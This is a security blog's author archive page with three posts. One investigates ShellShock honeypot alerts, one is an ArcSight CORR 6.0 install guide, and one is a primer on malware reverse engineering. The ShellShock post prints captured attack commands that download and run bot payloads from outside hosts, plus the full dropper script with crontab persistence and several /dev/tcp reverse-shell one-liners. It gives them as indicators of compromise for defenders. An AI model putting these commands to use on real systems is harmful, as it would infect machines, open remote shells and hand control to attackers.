All posts by marirs

Episode 6 – ShellShock Investigation Part 1


ShellShock & Linux.Backdoor.Kaiten

At Infosecnirvana.com, we regularly investigate Security Threats so that we can help the larger community by sharing knowledge on all things Security. As part of the investigation efforts, we have deployed Honeypots in the wild. We will be posting a blog on this new journey we are embarking on.

Today, we got an alert from one of our Honeypots and surprisingly enough, we were surprised to see that it was a ShellShock call 🙂

This post is going to be very rudimentary, as we want to first get the information out to as many people as we can. We will be updating the post to make it more comprehensive as we closely track this “now big thing”

Here is the log alert we picked up:

28-09-2014 09:43:55,121.9.244.212,() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh",

Update: I got 2 more alerts in my Honeypot:

29-09-2014 07:43:08,
,67.227.0.73,() { :;}; /bin/bash -c "wget -P /var/tmp 174.143.240.43/.../x ; perl /var/tmp/x",

29-09-2014 09:30:11,54.251.83.67,() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a

So being curious, I looked up first to find out more about the IP – 121.9.244.212. A quick lookup pointed to “CHINANET-GD”. Now that we know about the IP, let’s look at the command requested:

() { :;}; /bin/bash -c “wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh

The command represents an attempt by the remote attacker to inject malicious and/or arbitrary code following a function definition to download a file called ‘SH’ to the /tmp directory.

The file ‘sh’ contains the following:

sandbox-mac:dump user$ cat regular.bot 
killall perl

wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c;
curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c;
gcc -o /tmp/a /tmp/a.c;
/tmp/a;
rm -rf /tmp/a.c;
   
wget http://stablehost.us/bots/a -O /tmp/a;
curl -o /tmp/a http://stablehost.us/bots/a;
chmod +x /tmp/a;
/tmp/a;

wget http://stablehost.us/bots/darwin -O /tmp/d;
curl -o /tmp/d http://stablehost.us/bots/darwin;
chmod +x /tmp/d;
/tmp/d;

wget http://stablehost.us/bots/pl -O /tmp/pl;
curl -o /tmp/pl http://stablehost.us/bots/pl;
perl /tmp/pl;
rm /tmp/pl;

echo "@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh" >/tmp/c;
crontab /tmp/c;
rm /tmp/c;

So, the file once downloaded, goes about doing a series of tasks.

  • Download a  “.C” file and compile it using “gcc”.
    sandbox-mac:dump user$ md5 kaiten.c
    MD5 (kaiten.c) = e5807250e25da45e287afb2f1e4580d6
  • Download 2 binary files:
    “a”   MD5 (a) = 7390a1e62a88eb80b5fae80c9eb00be7 – Backdoor.Linuz/Tsunami “darwin”  MD5 (d) = adacf1fa8cd7f77ae83ba38a99160bdb Backdoor:OSX/Tsunami.A
  • Makes the downloaded files as executables and executes them.
  • Next it brings down a Perl file (pl) and executes the perl file: sandbox-mac:dump user$ md5 pl MD5 (pl) = 0c25bee177101b4235022d694c0de4d3

The perl file, basically checks for other vulnerabilities, does port scanning, checks news from packet storm, Installs Socks5, does nmap, sql scanner, checks if the box is root-able, opens up IRC channels, does TCP/UDP/Http Floods based on commands received from the Master server,  performs Scanning activity to domains like, MSN,  AlltheWeb, Ask, AOL, Lycos, Yahoo, etc.

The commands used for above are:

# !bot @multiscan  
# !bot @socks5
# !bot @sql2  

# !bot @portscan 
# !bot @logcleaner
# !bot @sendmail    
# !bot @system
# !bot @cleartmp
# !bot @rootable
# !bot @nmap   
# !bot @back   
# !bot @linuxhelp
# !bot @cd tmp:. | for example
#-----[Advisory-New Based]-----
# !bot @packetstorm
# !bot @milw0rm
#-----[DDos Based]-----
# !bot @udpflood   

IRC Names:

"telnet","putty","cgi-bin","bash","tmp","var","omset","dat","chynthe","bed"

And to top it all, the bot updates itself on a weekly basis using crontab.

Now, let’s look at the domain “stablehost.us” (Update: The website has been taken down shortly after this article was posted)

Stablehost.us is registered to a gentleman in the US since Mar-16-2010.  It runs Apache server on Ubuntu OS.

sandbox-mac:dump user$ curl -I stablehost.us

HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:33:15 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Sat, 27 Sep 2014 19:57:07 GMT
ETag: "0-50411703b49e2"
Accept-Ranges: bytes
Content-Type: text/html

At the time of writing this article, the website is empty, probably with a blank index page (200 OK). The directory that serves the bots is also probably having a blank index page.

sandbox-mac:dump user$ curl -I http://stablehost.us/bots/
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:38:23 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.4
Content-Type: text/html

According to way-back machine, there are/were only 3 edits/snapshots in the entirety of the domain life.

Wayback Machine Results

2 Blank page updates on March 1, 2011 & Aug 27, 2011 and 1 Apache test page on Jan 10, 2014.

Here is where it gets more interesting. I can confirm that this domain was purely used for bot activity.

According to the way back machine March 1, 2011 we can see the bot directory in there with the perl file and the regular.bot file

Wayback Machine Bot directory Results

01-marc-2011

After a new bot addition
02

More Patterns:

We have 1 more pattern:

121.9.244.212 – CHINANET
ShellShock Command: () { :;}; /bin/bash -c “wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh”

In addition to these:

67.229.128.88 – Krypt Technologies (US)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/67.229.128.88/9527 0<&1 2>&1

153.121.58.243 – Sakura Internet (Japan)
Shellshock Comand: () { :; }; /bin/bash -i >& /dev/tcp/153.121.58.243/443 0>&1

82.99.57.32 – Datasmeden (Sweden)
Shellshock Commands:
() { :;}; /bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443”
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1”

114.96.140.114 – Chinanet Anhui Province Network (China)
Shellshock Command: () { :; }; /usr/bin/bash -i >& /dev/tcp/114.96.140.114/6032 0>&1

113.10.223.171 – NWT iDC Data Service (Hong Kong)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/113.10.223.171/8080 0<&1 2>&1

Indicators of Compromise:

Some Indicators that we can look for in our web/proxy logs:

IP addresses:

  • 121.9.244.212 (ISP)
  • 89.33.193.10 (PERL BOT)
  • 142.4.215.115 ( { :;}; /bin/bash -c \”cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\”)
  • 67.227.0.73
  • 174.143.240.43
  • 54.251.83.67
  • 142.0.41.57
  • 153.121.58.243
  • 67.229.128.88
  • 82.99.57.32
  • 114.96.140.114
  • 113.10.223.171
  • 104.192.103.6
  • 72.167.37.182
  • 37.187.225.119
  • 195.225.34.101
  • 202.137.176.146
  • 204.232.241.139
  • 46.161.41.142
  • 81.18.135.38
  • 94.102.52.10
  • 82.118.242.223
  • 201.205.255.56
  • 83.96.168.161
  • 199.27.89.22
  • 5.135.127.38
  • 103.28.36.123
  • 82.80.195.86
  • 194.54.9.11
  • 173.45.100.18
  • 192.227.213.66
  • 70.42.149.72
  • 75.127.84.182

Web Requests: (some of the hard-coded urls in the perl file)

  • http://stablehost.us
  • http://singlesaints.com
  • http://search.hotbot.de/cgi-bin/pursuit?pag=<some_val>&query=”
  • http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://www.mozbot.fr/search?q=
  • http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=
  • http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://busca.uol.com.br/www/index.html?q=
  • http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=

Recommendations:

Please visit Identifying and Fixing Bash Vulnerability for details about testing and fixing this vulnerability

ArcSight CORR 6.0 – Install and Migration


ArcSight (now HP) Enterprise Security Manager (ESM) is the premiere security event manager that analyzes and correlates every other event in order to support the Security Team or analysts in every aspect of security event monitoring, from compliance and risk management to security intelligence and operations. There have been several versions of ArcSight ESM released over a period in time. Their latest version is ArcSight CORR 6.0. At InfoSecNirvana.com we have got a copy of the latest version and we will be writing a multi-part post on how to Install, Migrate from Older versions to 6.0 and some basic walk around.

In this Part 1 post, we shall cover about the installation of ArcSight CORR (Correlation Optimized Retention and Retrieval), a proprietary data storage and retrieval framework that receives and processes events at high rates, and performs high-speed searches; the latest ArcSight ESM by HP. With the ArcSight CORR, Oracle database is now eliminated.

CORR components:

  • ArcSight Manager
  • CORR Engine
  • ArcSight Console
  • ArcSight Web
  • Management Console
  • Smart Connectors

Requirements:

System: This completely depends on the EPS that you expect to receive. InfoSecNirvana has been working on getting a PoC for this and the below configuration was used:
A VMWare box with 8 cores, 32GB Ram, 256GB SSD HDD, 2TB WD 7200 RPM SATA HDD (Note: for production, there might be/recommend a higher configuration. Check with ArcSight manuals on the same)

OS: Red Hat Enterprise Linux Server release 6.2 x64, installed with xfsprogs-3.1.1-6.el6.x86_64 rpm; this is required to convert some of the ext4 file systems to xfs filesystems. XFS Partition is the most apt format for us to fully utilize the performance enhancements coming with CORR. Typically, I would recommend /opt/ to be formatted with XFS and maximum storage can be allocated to this partition. This is crucial because, the very first step of installation would verify whether the entire /opt/ directory is in XFS. When using VMWare with LVM, we faced some issues during the installation and ArcSight Support could not help us with this. However, when raw devices were mounted as /OPT/ we did not face any issues.

Storage: Please allocate the required storage (calculate based on Number of Devices, Events per second, Average Event Size and Retention period). Remember, CORR is like an ESM with a built in Logger. You can still use a Logger for long term retention if that is what you prefer so that ESM will be lean and mean.

Permissions: The installation has to be done using a Non-Root account. This account can be a service account named”arcsight”. This account should have RWX permissions on the /opt/ directory. Make sure this is satisfied.

Misc: /TMP/ partition should have at least 3GB space. /home/arcsight also should have a minimum of 5GB free space. This is crucial again because, the INSTALL DIR log files are written in these location and if sufficient space is not allocated the installation fails.

The CORR package: Get the CORR installation package and the license from HP ArcSight. This can be obtained from your sales representative with HP/ArcSight.

CORR Installation:
The installation is pretty straightforward and is just a series of clicks. I have given most of the screenshots below just as a reference. Obviously, if you have already installed ArcSight Software, you would not even need this. Once done, you would be able to install the Console to access CORR and play around.



Once the installation is completed, we would want to test the following before we call the install as complete:

  1. Validate the Log Files in the Manager Install Logs and find out if there are any warnings and errors. Generally, this is a best practice to ensure valid installation.
  2. Install the Console and try to connect to ESM, with the default user name and password (mentioned in the install guide). First time when you connect, A certificate import of the Manager happens. If you use a self-signed certificate make sure you note down the parameters used to create cause this will help in future migrations, troubleshooting or recovery.
  3. After connecting to the console, you are ready to go.

Migrations from Existing Installs – Migrating from earlier versions to this CORR instance is tricky, because you are migrating from a DB back end to a NON-DB back end. I will be posting a followup of this post in PART 2 that will detail the migration procedure from 4.X to 5.X.

Stay Tuned to InfoSecNirvana.com for more!!!

Reverse Engineering Malware – What you need to know?


Every now and then, a nasty piece of Malware raises its ugly head and wreck havoc on the Enterprise Infrastructure. It is often necessary to analyze the Malware and understand its working so that

  • The impact of the Malware on IT Systems can be ascertained AND
  • The nature of preventative controls that can be put in place so that this threat does not spread further.

In such scenarios, Reverse Engineering of the Malware becomes a requirement. Reverse engineering of a malware or an unknown piece of binary file is the process of analyzing and understanding its characteristics, behavior. There are several approaches that several different people use. But in this Blog post, the goal is to give a quick little guide for Malware Reversing so that anyone with an inclination to pick it can do so very easily. This in my mind is an essential tool in the hands of a Security Analyst. The basic skills needed to do this are listed below:

  • Some programming skills, or at the very least be able to understand and read source code
  • Logical Mindset capable of analyzing and interpreting the Vectors used by the Malware Code
  • Lots and Lots of Patience and Interest

Let us now get into the basics. We need to understand that Malware programs have several stages before they infect and compromise a machine. Typically a malware performs the following:

  • Get itself persistent by adding its executable path in the registry, autorun, etc – Exploit
  • Comfortably elevate itself to another process, so that it cannot be easily found – Masquerade
  • Deter the process of it’s analysis by rapidly changing its code signature – Polymorphism
  • Make connections to remote servers sometimes to update itself or also to report back to its Master – Callback
  • Perform the necessary tasks on the affected system – Data Exfiltration or Zombie

All these Malicious Programs, have one goal or the other, but eventually they end up handing over control of your machine to strangers and potentially bad guys as well. Some Intentions of Malware are listed below:

  • Steal sensitive information / Key-logging / identity theft / usernames and password / banking information / Company patents / source code / etc (including personal data that may have been part of the system)
  • Access private networks
  • Perform DDoS Attacks
  • Spamming
  • Browser hijacking, ad-wares to perform fraud
  • Ransom-ware: deny access to the users’ own data and demand money to give access back – in other words extortion
  • Data exfiltration

Reverse Engineering Methodology:
This effort involves determining not only what the malware can do specifically, but also establishing how to identify the presence of such programs on affected systems. There might be so many (right) ways to do this, but for something quick we shall follow the steps laid out here.

Why Quick?? Because in an Enterprise sometimes we might not have all the time to really perform in-depth analysis, as time is a major factor when responding to incidents of this kind.

The Setup:
In order to perform an Effective Malware Analysis, we need to have a Tool Kit and an Environment for Analysis. Some of the key things to take care while setting up the environment are:

  • The Environment should be isolated with no connections to the Enterprise Data Sensitive network.
  • The environment should have its own  Proxy service so that it does not have scope to spread. The Proxy can be a sink hole where it just logs the connections made.
  • Set-up 2 sand boxes, 1 physical and 1 VM, as some malware programs only work on  on a physical box as they are VM-aware.
  • Make sure these sandboxes are standard images, with bare minimum corporate patching done. This should theoretically be equivalent to the weakest link in the organization.
  • Install all the required tools listed below to do certain type of analysis.
  • Tools required: strings, ida pro, pmdump, volatility framework, upx, packerid, pescanner, pe explorer, md5hashollydbg, deep freeze, winalysis, lp

The Analysis: The analysis of Malware is usually a two-phased approach – Behavior Analysis and Code Analysis. These two analysis methods yield so much information that detection and response becomes easy.

  • Behavioral analysis: Observing malware interactions with its environment like network connections, files dropped, evasive measures taken etc. This can be identified by installing the Malware, “getting infected” as you may call it.
    • Once infected, you can capture the network packets, to look at potential domains and IP addresses the software tries to connect. This will help in perimeter filtering and Endpoint ‘Firewall’ing
    • If the Malware drops some files using C2, then that also can be observed as a part of the getting infected process. This will help in gather SHA and MD5 values for the dropped files and banning them in Endpoint solutions from execution
  • Code analysis: Examining the code that comprises the program to infer what exactly the malware is capable of doing when executed. This does not help in response schemes, but is very important from a Forensics Purpose. Code Analysis can help in determining the extent of loss, the extent of vulnerability in the system that is being exploited etc.
  • Code Analysis can be done as follows:
    • Firstly Identify if either the unknown file is protected, obfuscated, encrypted (armoring) and/or packed (the original code is compressed, encrypted or both). To do this, we can use packerid or pe explorer.This technique is applied in an attempt to evade signature based malware detection, and to deter the efforts of static analysis. Identifying the packer specifically, can exactly tell you what you are missing in terms of detection using Perimeter tools.
    • Then with basic analysis like enumerating exports, imports, function use, syscalls, winapi, mutex, dll dependencies, strings and some grepping, using the winalysis or other similar tools that you might be comfortable with, you can come up with several theories about the file. These theories will give an understanding of the various attack vectors employed by the file. This can help lock down a system to these kinds of Malware attempts.
    • Drilling down further into the specific attack functions and looking at the code itself can help understand the vulnerability being exploited. This is very useful for Developers in fixing the holes in the software. This will help in a sort of retroactive patching methodology.
Post Analysis Steps: 
  1. Once the analysis is done on the Behavior and the Code aspects of the Malware, you have lots of data about at hand. Documenting the Analysis is very key because, future variants may use the same Attack Vector, Same Exploit Code etc to gain access to a machine/application.
  2. Use the documentation prepared as above to compare against subsequent analysis. This will save a great deal of time in detecting and responding to future threats posed.
  3. Snapshot of the VM also can be retained for future reference.
  4. Destroy the Analysis VM and start over again!!!
Practical Example
There will be a follow up post to this with a Hands-On Tutorial of how its done!!!! Keep Following this blog and Happy Reversing!!!!
Additional Resources:

 

Website to get malware samples for analysis:
http://oc.gtisc.gatech.edu:8080/

Websites to assist you in malware analysis:
REMnux (Linux distribution for malware analysis) – http://zeltser.com/remnux/
ISEC Labs Anubis Tool – http://anubis.iseclab.org/
GFI Sandbox – http://www.gfi.com/malware-analysis-tool
Hex to Binary/ASCII – http://home.paulschou.net/tools/xlate/
Hex to ASCII – http://www.dolcevie.com/js/converter.html
Jsunpack – http://jsunpack.jeek.org/